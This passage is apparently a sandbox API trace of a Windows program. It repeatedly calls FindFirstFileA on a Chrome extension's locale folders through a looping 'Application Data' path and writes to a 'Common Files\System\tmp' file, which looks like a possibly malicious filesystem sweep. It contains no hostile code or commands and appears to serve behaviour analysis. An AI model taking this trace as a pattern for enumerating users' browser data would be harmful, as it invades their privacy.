cAlternateFileName="\x01")) returned 0xffffffff [0134.514] AreFileApisANSI () returned 1 [0134.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.515] GetFileType (hFile=0x19c) returned 0x1 [0134.515] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x34442, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.515] AreFileApisANSI () returned 1 [0134.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.515] GetFileType (hFile=0x19c) returned 0x1 [0134.515] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x34544, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.515] AreFileApisANSI () returned 1 [0134.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.515] GetFileType (hFile=0x19c) returned 0x1 [0134.516] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x34646, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.516] AreFileApisANSI () returned 1 [0134.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.516] GetFileType (hFile=0x19c) returned 0x1 [0134.516] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x34748, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.516] AreFileApisANSI () returned 1 [0134.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.516] GetFileType (hFile=0x19c) returned 0x1 [0134.516] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x3484a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.516] AreFileApisANSI () returned 1 [0134.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.516] GetFileType (hFile=0x19c) returned 0x1 [0134.516] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x3494c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.517] AreFileApisANSI () returned 1 [0134.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.517] GetFileType (hFile=0x19c) returned 0x1 [0134.517] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x34a4e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.517] AreFileApisANSI () returned 1 [0134.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.517] GetFileType (hFile=0x19c) returned 0x1 [0134.517] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x34b53, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.517] AreFileApisANSI () returned 1 [0134.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.517] GetFileType (hFile=0x19c) returned 0x1 [0134.517] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x34c58, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.518] AreFileApisANSI () returned 1 [0134.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.518] GetFileType (hFile=0x19c) returned 0x1 [0134.518] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x34d5a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x90\x80\x83")) returned 0xffffffff [0134.518] AreFileApisANSI () returned 1 [0134.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.518] GetFileType (hFile=0x19c) returned 0x1 [0134.518] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x34e5c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.518] AreFileApisANSI () returned 1 [0134.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.518] GetFileType (hFile=0x19c) returned 0x1 [0134.519] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x35000, nFileSizeHigh=0x0, nFileSizeLow=0x34f5e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.519] AreFileApisANSI () returned 1 [0134.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.519] GetFileType (hFile=0x19c) returned 0x1 [0134.519] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x36000, nFileSizeHigh=0x0, nFileSizeLow=0x35060, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.519] AreFileApisANSI () returned 1 [0134.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.519] GetFileType (hFile=0x19c) returned 0x1 [0134.519] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x36000, nFileSizeHigh=0x0, nFileSizeLow=0x35162, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.521] AreFileApisANSI () returned 1 [0134.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.521] GetFileType (hFile=0x19c) returned 0x1 [0134.521] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x36000, nFileSizeHigh=0x0, nFileSizeLow=0x35264, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.521] AreFileApisANSI () returned 1 [0134.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.521] GetFileType (hFile=0x19c) returned 0x1 [0134.522] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x36000, nFileSizeHigh=0x0, nFileSizeLow=0x35366, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.522] AreFileApisANSI () returned 1 [0134.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.522] GetFileType (hFile=0x19c) returned 0x1 [0134.522] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x36000, nFileSizeHigh=0x0, nFileSizeLow=0x35468, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.522] AreFileApisANSI () returned 1 [0134.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.522] GetFileType (hFile=0x19c) returned 0x1 [0134.522] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x36000, nFileSizeHigh=0x0, nFileSizeLow=0x3556a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.522] AreFileApisANSI () returned 1 [0134.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.522] GetFileType (hFile=0x19c) returned 0x1 [0134.523] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x36000, nFileSizeHigh=0x0, nFileSizeLow=0x3566c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.523] AreFileApisANSI () returned 1 [0134.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.523] GetFileType (hFile=0x19c) returned 0x1 [0134.523] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*.*", 